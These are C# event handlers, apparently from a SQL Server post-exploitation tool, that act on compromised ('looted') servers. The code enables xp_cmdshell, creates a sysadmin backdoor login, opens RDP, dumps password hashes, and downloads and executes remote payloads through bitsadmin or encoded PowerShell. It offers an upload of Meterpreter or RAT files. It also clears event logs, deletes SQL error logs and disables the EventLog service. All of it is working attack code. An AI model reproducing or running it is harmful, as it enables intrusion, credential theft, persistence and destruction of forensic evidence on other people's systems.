private void btnGet_Click(object sender, RoutedEventArgs e) { var isActivated = cmdControl.isActivated; var isExecuted = cmdControl.isExecuted; if (isActivated == false && isExecuted == false) { var enableXpCmdShell = new EnableXpCmdShell { LootedServer = lstLooted.SelectedItem.ToString() }; try { Dispatcher.Invoke((Action) delegate { enableXpCmdShell.XpCmdShellStatus(); txtStatus.AppendText(enableXpCmdShell.Result); var cmdLandResult = _languageControl.SelectedLanguage.GetString("XPCmdShell2"); var contains = enableXpCmdShell.Result.Contains(cmdLandResult); if (contains == true) { isActivated = true; isExecuted = true; } }); } catch (Exception) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(enableXpCmdShell.CmdException); }); } } if (isExecuted == true && isActivated == true) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { lstTaskList.Items.Clear(); _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = "EXEC xp_cmdshell '\"TASKLIST /V /FO CSV\"'"; _postExploitation.ShowProgramList(); for (var i = 0; i < _postExploitation._programList.Count; i++) { lstTaskList.Items.Add(_postExploitation._programList[i].Replace("\"", "").Replace("\r", "").Replace("\n", "")); } txtStatus.AppendText(Environment.NewLine + _languageControl.SelectedLanguage.GetString("MessageExploitTask2")); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } }
private void btnSelectFile_Click(object sender, RoutedEventArgs e) { var isActivated = cmdControl.isActivated; var isExecuted = cmdControl.isExecuted; if (isActivated == false && isExecuted == false) { var enableXpCmdShell = new EnableXpCmdShell { LootedServer = lstLooted.SelectedItem.ToString() }; try { Dispatcher.Invoke((Action) delegate { enableXpCmdShell.XpCmdShellStatus(); txtStatus.AppendText(enableXpCmdShell.Result); var cmdLandResult = _languageControl.SelectedLanguage.GetString("XPCmdShell2"); var contains = enableXpCmdShell.Result.Contains(cmdLandResult); if (contains == true) { isActivated = true; isExecuted = true; } }); } catch (Exception) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(enableXpCmdShell.CmdException); }); } } if (isExecuted == true && isActivated == true) { Dispatcher.Invoke((Action) delegate { try { var file = new System.Windows.Forms.OpenFileDialog { InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop), Title = @"Please Select Meterpreter or RAT File" }; var sdg = file.ShowDialog(); if (sdg == System.Windows.Forms.DialogResult.OK) { txtSelectFile.Text = file.FileName; } btnUpload.IsEnabled = true; } catch (Exception exp) { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); } }); } }
private void btnDownload_Click(object sender, RoutedEventArgs e) { var isActivated = cmdControl.isActivated; var isExecuted = cmdControl.isExecuted; if (isActivated == false && isExecuted == false) { var enableXpCmdShell = new EnableXpCmdShell { LootedServer = lstLooted.SelectedItem.ToString() }; try { Dispatcher.Invoke((Action) delegate { enableXpCmdShell.XpCmdShellStatus(); txtStatus.AppendText(enableXpCmdShell.Result); var cmdLandResult = _languageControl.SelectedLanguage.GetString("XPCmdShell2"); var contains = enableXpCmdShell.Result.Contains(cmdLandResult); if (contains == true) { isActivated = true; isExecuted = true; } }); } catch (Exception) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(enableXpCmdShell.CmdException); }); } } if (isExecuted == true && isActivated == true) { Dispatcher.Invoke((Action) delegate { var clearText = "(new-object System.Net.WebClient).DownloadFile('" + txtUrl.Text + "', '" + txtSaveLocation.Text + "')"; clearText = EncodeBase64.ConvertTextToBase64NonBypass(clearText); var _execCode = string.Empty; _execCode += "EXEC xp_cmdshell '" + clearText + "'"; txtStatus.AppendText($"{Environment.NewLine}{_languageControl.SelectedLanguage.GetString("MessageDownload5")}"); RevConn(_execCode); }); } }
private void btnSave_Click(object sender, RoutedEventArgs e) { var isActivated = cmdControl.isActivated; var isExecuted = cmdControl.isExecuted; if (isActivated == false && isExecuted == false) { var enableXpCmdShell = new EnableXpCmdShell { LootedServer = lstLooted.SelectedItem.ToString() }; try { Dispatcher.Invoke((Action) delegate { enableXpCmdShell.XpCmdShellStatus(); txtStatus.AppendText(enableXpCmdShell.Result); var cmdLandResult = _languageControl.SelectedLanguage.GetString("XPCmdShell2"); var contains = enableXpCmdShell.Result.Contains(cmdLandResult); if (contains == true) { isActivated = true; isExecuted = true; } }); } catch (Exception) { Dispatcher.Invoke((Action) delegate { txtStatus.AppendText(enableXpCmdShell.CmdException); }); } } if (isExecuted == true && isActivated == true) { try { Dispatcher.Invoke((Action) delegate { var addUserCode = ""; addUserCode += "USE [master]\r\n"; addUserCode += "CREATE LOGIN " + txtUserName.Text + "\r\n"; addUserCode += "WITH PASSWORD = N'" + txtPassword.Text + "',\r\n"; addUserCode += "CHECK_POLICY = OFF,\r\n"; addUserCode += "CHECK_EXPIRATION = OFF;\r\n"; addUserCode += "EXEC sp_addsrvrolemember \r\n"; addUserCode += "@loginame = N'" + txtUserName.Text + "',\r\n"; addUserCode += "@rolename = N'sysadmin';\r\n"; _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = addUserCode; _postExploitation.RunExploit(); if (!string.IsNullOrEmpty(_postExploitation.ExploitResult)) { txtStatus.AppendText(_postExploitation.ExploitResult); } else { txtStatus.AppendText(_postExploitation.Exception); } }); } catch (Exception exp) { Dispatcher.Invoke((Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } try { Dispatcher.Invoke((Action) delegate { var exploitCode = "select name from master.sys.sql_logins"; _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = exploitCode; _postExploitation.RunExploit(); var isAdd = _postExploitation.ExploitResult.Contains(txtUserName.Text); if (isAdd == true) { txtStatus.AppendText(Environment.NewLine + txtUserName.Text + _languageControl.SelectedLanguage.GetString("MessageExploitMysqlAddUser1")); } else { txtStatus.AppendText(Environment.NewLine + _languageControl.SelectedLanguage.GetString("MessageExploitMssqlAddUser1")); } }); } catch (Exception exp) { Dispatcher.Invoke((Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } }
private void btnEnable_Click(object sender, RoutedEventArgs e) { var isActivated = cmdControl.isActivated; var isExecuted = cmdControl.isExecuted; if (isActivated == false && isExecuted == false) { var enableXpCmdShell = new EnableXpCmdShell { LootedServer = lstLooted.SelectedItem.ToString() }; try { Dispatcher.Invoke((Action) delegate { enableXpCmdShell.XpCmdShellStatus(); txtStatus.AppendText(enableXpCmdShell.Result); var cmdLandResult = _languageControl.SelectedLanguage.GetString("XPCmdShell2"); var contains = enableXpCmdShell.Result.Contains(cmdLandResult); if (contains == true) { isActivated = true; isExecuted = true; } }); } catch (Exception) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(enableXpCmdShell.CmdException); }); } } if (isExecuted == true && isActivated == true) { if (lstLooted.SelectedIndex != -1) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); var rdpCommand = string.Empty; rdpCommand += "USE [master]\r\n"; rdpCommand += "EXEC xp_cmdshell 'netsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes';\r\n"; rdpCommand += "EXEC xp_cmdshell 'reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f';"; _postExploitation.ExploitCode = rdpCommand; _postExploitation.RunExploit(); txtStatus.AppendText(Environment.NewLine + _postExploitation.ExploitResult.Replace("\r", "").Replace("\n", "")); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format(_languageControl.SelectedLanguage.GetString("Exception1"), Environment.NewLine, exp.Message)); }); } } else { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText($"{Environment.NewLine}{_languageControl.SelectedLanguage.GetString("MessageExploitError1")}"); }); } } }
private void btnGet_Click(object sender, RoutedEventArgs e) { var isActivated = cmdControl.isActivated; var isExecuted = cmdControl.isExecuted; if (isActivated == false && isExecuted == false) { var enableXpCmdShell = new EnableXpCmdShell { LootedServer = lstLooted.SelectedItem.ToString() }; try { Dispatcher.Invoke((Action) delegate { enableXpCmdShell.XpCmdShellStatus(); txtStatus.AppendText(enableXpCmdShell.Result); var cmdLandResult = _languageControl.SelectedLanguage.GetString("XPCmdShell2"); var contains = enableXpCmdShell.Result.Contains(cmdLandResult); if (contains == true) { isActivated = true; isExecuted = true; } }); } catch (Exception) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(enableXpCmdShell.CmdException); }); } } if (isExecuted == true && isActivated == true) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.SqlCommand = "net user"; _postExploitation.VolumeList = new List <string>(); _postExploitation.VolumeList.Clear(); _postExploitation.SqlExploitation(); txtStatus.AppendText(_postExploitation.ExploitResult); for (var i = 0; i < _postExploitation.VolumeList.Count; i++) { txtStatus.AppendText(_postExploitation.VolumeList[i]); } }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } }
private void btnGet_Click(object sender, RoutedEventArgs e) { var isActivated = cmdControl.isActivated; var isExecuted = cmdControl.isExecuted; if (isActivated == false && isExecuted == false) { var enableXpCmdShell = new EnableXpCmdShell { LootedServer = lstLooted.SelectedItem.ToString() }; try { enableXpCmdShell.XpCmdShellStatus(); txtStatus.AppendText(enableXpCmdShell.Result); var cmdLandResult = _languageControl.SelectedLanguage.GetString("XPCmdShell2"); var contains = enableXpCmdShell.Result.Contains(cmdLandResult); if (contains == true) { isActivated = true; isExecuted = true; } } catch (Exception) { txtStatus.AppendText(enableXpCmdShell.CmdException); } } if (isExecuted == true && isActivated == true) { if (cmbEnumeration.SelectedIndex == 0) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { const string exploitCode = "select name from master.sys.sql_logins"; _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = exploitCode; _postExploitation.RunExploit(); txtStatus.AppendText(Environment.NewLine + _languageControl.SelectedLanguage.GetString("EnumContent1")); txtStatus.AppendText(_postExploitation.ExploitResult); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } else if (cmbEnumeration.SelectedIndex == 1) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { const string exploitCode = "select name from master..sysdatabases"; _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = exploitCode; _postExploitation.RunExploit(); txtStatus.AppendText(Environment.NewLine + _languageControl.SelectedLanguage.GetString("EnumContent2")); txtStatus.AppendText(_postExploitation.ExploitResult); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } else if (cmbEnumeration.SelectedIndex == 2) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { const string exploitCode = "select name from master.sys.sql_logins where is_expiration_checked = 0"; _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = exploitCode; _postExploitation.RunExploit(); txtStatus.AppendText(Environment.NewLine + _languageControl.SelectedLanguage.GetString("EnumContent3")); txtStatus.AppendText(_postExploitation.ExploitResult); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } else if (cmbEnumeration.SelectedIndex == 3) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { const string exploitCode = "SELECT CAST(SYSOBJECTS.NAME AS CHAR) FROM SYSOBJECTS, SYSPROTECTS WHERE SYSPROTECTS.UID = 0 AND XTYPE IN ('X','P') AND SYSOBJECTS.ID = SYSPROTECTS.ID"; _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = exploitCode; _postExploitation.RunExploit(); txtStatus.AppendText(Environment.NewLine + _languageControl.SelectedLanguage.GetString("EnumContent4")); txtStatus.AppendText(_postExploitation.ExploitResult); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } else if (cmbEnumeration.SelectedIndex == 4) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { const string exploitCode = "SELECT name, password_hash FROM master.sys.sql_logins"; _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = exploitCode; _postExploitation.HashDump(); txtStatus.AppendText(Environment.NewLine + _languageControl.SelectedLanguage.GetString("EnumContent5")); txtStatus.AppendText(_postExploitation.ExploitResult); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } else if (cmbEnumeration.SelectedIndex == 5) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { var exploitCode = @"DECLARE @RegLoc VARCHAR(100)"; exploitCode += Environment.NewLine + @"select @RegLoc='SOFTWARE\Microsoft\Windows NT\CurrentVersion'"; exploitCode += Environment.NewLine + @"EXEC [master].[dbo].[xp_regread]"; exploitCode += Environment.NewLine + @"@rootkey='HKEY_LOCAL_MACHINE',"; exploitCode += Environment.NewLine + @"@key=@RegLoc,"; exploitCode += Environment.NewLine + @"@value_name='ProductName'"; _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = exploitCode; _postExploitation.SQLReaderValue = 1; _postExploitation.RunExploit(); txtStatus.AppendText(Environment.NewLine + _languageControl.SelectedLanguage.GetString("EnumContent6")); txtStatus.AppendText(_postExploitation.ExploitResult); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } else if (cmbEnumeration.SelectedIndex == 6) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { var exploitCode = @"DECLARE @RegLoc VARCHAR(100)"; exploitCode += Environment.NewLine + @"select @RegLoc='SOFTWARE\Microsoft\Windows NT\CurrentVersion'"; exploitCode += Environment.NewLine + @"EXEC [master].[dbo].[xp_regread]"; exploitCode += Environment.NewLine + @"@rootkey='HKEY_LOCAL_MACHINE',"; exploitCode += Environment.NewLine + @"@key=@RegLoc,"; exploitCode += Environment.NewLine + @"@value_name='InstallDate'"; _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = exploitCode; _postExploitation.SQLReaderValue = 1; _postExploitation.RunExploit(); var startDate = new DateTime(1970, 1, 1, 0, 0, 0); var regVal = Convert.ToInt64(_postExploitation.ExploitResult); var installDate = startDate.AddSeconds(regVal); txtStatus.AppendText(Environment.NewLine + _languageControl.SelectedLanguage.GetString("EnumContent7")); txtStatus.AppendText(Environment.NewLine + Convert.ToString(installDate)); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } else if (cmbEnumeration.SelectedIndex == 7) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { var exploitCode = @"DECLARE @RegLoc VARCHAR(100)"; exploitCode += Environment.NewLine + @"select @RegLoc='SOFTWARE\Microsoft\Windows NT\CurrentVersion'"; exploitCode += Environment.NewLine + @"EXEC [master].[dbo].[xp_regread]"; exploitCode += Environment.NewLine + @"@rootkey='HKEY_LOCAL_MACHINE',"; exploitCode += Environment.NewLine + @"@key=@RegLoc,"; exploitCode += Environment.NewLine + @"@value_name='SystemRoot'"; _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = exploitCode; _postExploitation.SQLReaderValue = 1; _postExploitation.RunExploit(); txtStatus.AppendText(Environment.NewLine + _languageControl.SelectedLanguage.GetString("EnumContent8")); txtStatus.AppendText(Environment.NewLine + Convert.ToString(_postExploitation.ExploitResult)); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } } }
private void btnDownloadExecute_Click(object sender, RoutedEventArgs e) { var isActivated = cmdControl.isActivated; var isExecuted = cmdControl.isExecuted; if (isActivated == false && isExecuted == false) { var enableXpCmdShell = new EnableXpCmdShell { LootedServer = lstLooted.SelectedItem.ToString() }; try { Dispatcher.Invoke((Action) delegate { enableXpCmdShell.XpCmdShellStatus(); txtStatus.AppendText(enableXpCmdShell.Result); var cmdLandResult = _languageControl.SelectedLanguage.GetString("XPCmdShell2"); var contains = enableXpCmdShell.Result.Contains(cmdLandResult); if (contains == true) { isActivated = true; isExecuted = true; } }); } catch (Exception) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(enableXpCmdShell.CmdException); }); } } if (isExecuted == true && isActivated == true) { if (rdBits.IsChecked == true) { try { if (!string.IsNullOrEmpty(txtUrl.Text) && !string.IsNullOrEmpty(txtSaveLocation.Text)) { var _execCode = string.Empty; Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _execCode += "USE [master]\r\n"; _execCode += "EXEC xp_cmdshell '\"net start BITS\"';\r\n"; txtStatus.AppendText($"{Environment.NewLine}{_languageControl.SelectedLanguage.GetString("MessageDownload1")}"); RevConn(_execCode, 0); _execCode += "USE [master]\r\n"; _execCode += "EXEC xp_cmdshell '\"bitsadmin /transfer WarSQLiJob /download /priority normal " + txtUrl.Text + " " + txtSaveLocation.Text + "\"';\r\n"; txtStatus.AppendText($"{Environment.NewLine}{_languageControl.SelectedLanguage.GetString("MessageDownload2")}"); RevConn(_execCode, 0); _execCode += "USE [master]\r\n"; _execCode += "EXEC xp_cmdshell '\"" + txtSaveLocation.Text + "\"';\r\n"; txtStatus.AppendText($"{Environment.NewLine}{_languageControl.SelectedLanguage.GetString("MessageDownload3")}"); RevConn(_execCode, 0); }); } } catch (Exception exp) { Dispatcher.Invoke((Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } else { Dispatcher.Invoke((Action) delegate { var clearText = "(new-object System.Net.WebClient).DownloadFile('" + txtUrl.Text + "', '" + txtSaveLocation.Text + "')"; clearText = EncodeBase64.ConvertTextToBase64(clearText); var _execCode = string.Empty; _execCode += "EXEC xp_cmdshell '" + clearText + "'"; txtStatus.AppendText($"{Environment.NewLine}{_languageControl.SelectedLanguage.GetString("MessageDownload5")}"); RevConn(_execCode, 1); _execCode = string.Empty; _execCode += "EXEC xp_cmdshell '" + txtSaveLocation.Text + "'\r\n"; txtStatus.AppendText($"{Environment.NewLine}{_languageControl.SelectedLanguage.GetString("MessageDownload3")}"); RevConn(_execCode, 0); }); } } }
private void BtnGet_OnClick(object sender, RoutedEventArgs e) { var isActivated = cmdControl.isActivated; var isExecuted = cmdControl.isExecuted; if (isActivated == false && isExecuted == false) { var enableXpCmdShell = new EnableXpCmdShell { LootedServer = lstLooted.SelectedItem.ToString() }; try { enableXpCmdShell.XpCmdShellStatus(); txtStatus.AppendText(enableXpCmdShell.Result); var cmdLandResult = _languageControl.SelectedLanguage.GetString("XPCmdShell2"); var contains = enableXpCmdShell.Result.Contains(cmdLandResult); if (contains == true) { isActivated = true; isExecuted = true; } } catch (Exception) { txtStatus.AppendText(enableXpCmdShell.CmdException); } } if (isExecuted == true && isActivated == true) { if (cmbEnumeration.SelectedIndex == 0) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { var exploitCode = string.Empty; var eventNameList = new List <string> { "Application", "Security", "System" }; for (var i = 0; i < eventNameList.Count; i++) { exploitCode = string.Empty; exploitCode += "USE [master]\r\n"; exploitCode += "EXEC xp_cmdshell '\"wevtutil clear-log " + eventNameList[i] + "\"';\r\n"; txtStatus.AppendText($"{Environment.NewLine}{eventNameList[i]} {_languageControl.SelectedLanguage.GetString("ExploitClearLog1")}"); _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = exploitCode; _postExploitation.RunExploit(); txtStatus.AppendText(_postExploitation.ExploitResult.Replace("\r", "").Replace("\n", "")); } txtStatus.AppendText($"{Environment.NewLine}{_languageControl.SelectedLanguage.GetString("ExploitClearLog2")}"); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } else if (cmbEnumeration.SelectedIndex == 1) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { var exploitCode = string.Empty; var directory = string.Empty; exploitCode = "sp_readerrorlog"; _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = exploitCode; _postExploitation.ShowLogDirectory(); if (_postExploitation._msSqlLogDirectoryList.Count > 8) { directory = _postExploitation._msSqlLogDirectoryList[6]; } txtStatus.AppendText(_postExploitation.ExploitResult); var dirPars = directory.Trim().Split('\''); var dirLocation = dirPars[1].Trim().Substring(0, dirPars[1].Length - 8); exploitCode = string.Empty; exploitCode += "USE [master]\r\n"; exploitCode += "EXEC xp_cmdshell '\"DEL /F /S /A \"" + dirLocation + "*.*\" ';\r\n"; _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = exploitCode; _postExploitation.RunExploit(); txtStatus.AppendText(_postExploitation.ExploitResult); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } else { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { var exploitCode = string.Empty; exploitCode = string.Empty; exploitCode += "USE [master]\r\n"; exploitCode += "EXEC xp_cmdshell '\"sc config \"EventLog\" start=disabled\"';\r\n"; txtStatus.AppendText($"{Environment.NewLine}{_languageControl.SelectedLanguage.GetString("ExploitEventLog1")}"); exploitCode += "EXEC xp_cmdshell '\"net stop EventLog\"';\r\n"; txtStatus.AppendText($"{Environment.NewLine}{_languageControl.SelectedLanguage.GetString("ExploitEventLog2")}"); _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.ExploitCode = exploitCode; _postExploitation.RunExploit(); txtStatus.AppendText(_postExploitation.ExploitResult); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); }); } } } }
private void btnEnable_Click(object sender, RoutedEventArgs e) { var isActivated = cmdControl.isActivated; var isExecuted = cmdControl.isExecuted; if (isActivated == false && isExecuted == false) { var enableXpCmdShell = new EnableXpCmdShell { LootedServer = lstLooted.SelectedItem.ToString() }; try { Dispatcher.Invoke((Action) delegate { enableXpCmdShell.XpCmdShellStatus(); txtStatus.AppendText(enableXpCmdShell.Result); var cmdLandResult = _languageControl.SelectedLanguage.GetString("XPCmdShell2"); var contains = enableXpCmdShell.Result.Contains(cmdLandResult); if (contains == true) { isActivated = true; isExecuted = true; } }); } catch (Exception) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(enableXpCmdShell.CmdException); }); } } if (isExecuted == true && isActivated == true) { if (lstLooted.SelectedIndex != -1) { try { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.SqlCommand = "netsh Advfirewall set allprofiles state on"; _postExploitation.SqlExploitation(); txtStatus.AppendText(Environment.NewLine + _postExploitation.ExploitResult.Replace("\r", "").Replace("\n", "")); }); } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(string.Format(_languageControl.SelectedLanguage.GetString("Exception1"), Environment.NewLine, exp.Message)); }); } } else { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText($"{Environment.NewLine}{_languageControl.SelectedLanguage.GetString("MessageExploitError1")}"); }); } } }
private void Window_Loaded(object sender, RoutedEventArgs e) { _languageControl.FindLang(); var lootedFileControl = new LootedFileControl(); try { Dispatcher.Invoke((Action) delegate { btnSearch.Content = _languageControl.SelectedLanguage.GetString("ButtonSearch"); btnShowFile.Content = _languageControl.SelectedLanguage.GetString("ButtonShow"); btnCommand.Content = _languageControl.SelectedLanguage.GetString("ButtonRunCommand"); lblAdvCommand.Content = _languageControl.SelectedLanguage.GetString("GroupBoxAdvanced"); lblLooted.Content = _languageControl.SelectedLanguage.GetString("GroupBoxLooted"); lblLocalDirectory.Content = _languageControl.SelectedLanguage.GetString("GroupBoxDirectory"); lblVolumeList.Content = _languageControl.SelectedLanguage.GetString("GroupBoxVolume"); Title = _languageControl.SelectedLanguage.GetString("TitleDirectoryManager"); lootedFileControl.FileControl(); var lootedList = lootedFileControl.LootedList; foreach (var t in lootedList) { lstLooted.Items.Add(t); } lstLooted.SelectedIndex = 0; var toolStripControl = new ToolStripInformation { SelectedLootedServer = lstLooted.SelectedItem.ToString(), Command = "sp_server_info", }; toolStripControl.SqlServerInformation(); lblStrip.Content = string.Empty; lblStrip.Content = toolStripControl.SqlServerInfo; }); var isActivated = cmdControl.isActivated; var isExecuted = cmdControl.isExecuted; if (isActivated == false && isExecuted == false) { var enableXpCmdShell = new EnableXpCmdShell { LootedServer = lstLooted.SelectedItem.ToString() }; try { Dispatcher.Invoke((Action) delegate { enableXpCmdShell.XpCmdShellStatus(); txtStatus.AppendText(enableXpCmdShell.Result); var cmdLandResult = _languageControl.SelectedLanguage.GetString("XPCmdShell2"); var contains = enableXpCmdShell.Result.Contains(cmdLandResult); if (contains == true) { isActivated = true; isExecuted = true; } }); } catch (Exception) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(enableXpCmdShell.CmdException); }); } } if (isExecuted == true && isActivated == true) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { try { _postExploitation.SelectedItem = lstLooted.SelectedItem.ToString(); _postExploitation.SqlCommand = "wmic logicaldisk get caption"; _postExploitation.SqlExploitation(); lstDirectory.Items.Clear(); for (var i = 0; i < _postExploitation.VolumeList.Count; i++) { lstDirectory.Items.Add(_postExploitation.VolumeList[i]); lstDirectory.Items.Remove(""); } } catch (Exception exp) { txtStatus.AppendText(string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, _languageControl.SelectedLanguage.GetString("GeneralError1"), _languageControl.SelectedLanguage.GetString("GeneralError2"))); } }); } } catch (Exception exp) { Dispatcher.BeginInvoke(DispatcherPriority.Send, (Action) delegate { txtStatus.AppendText(lootedFileControl.Exception); }); } }
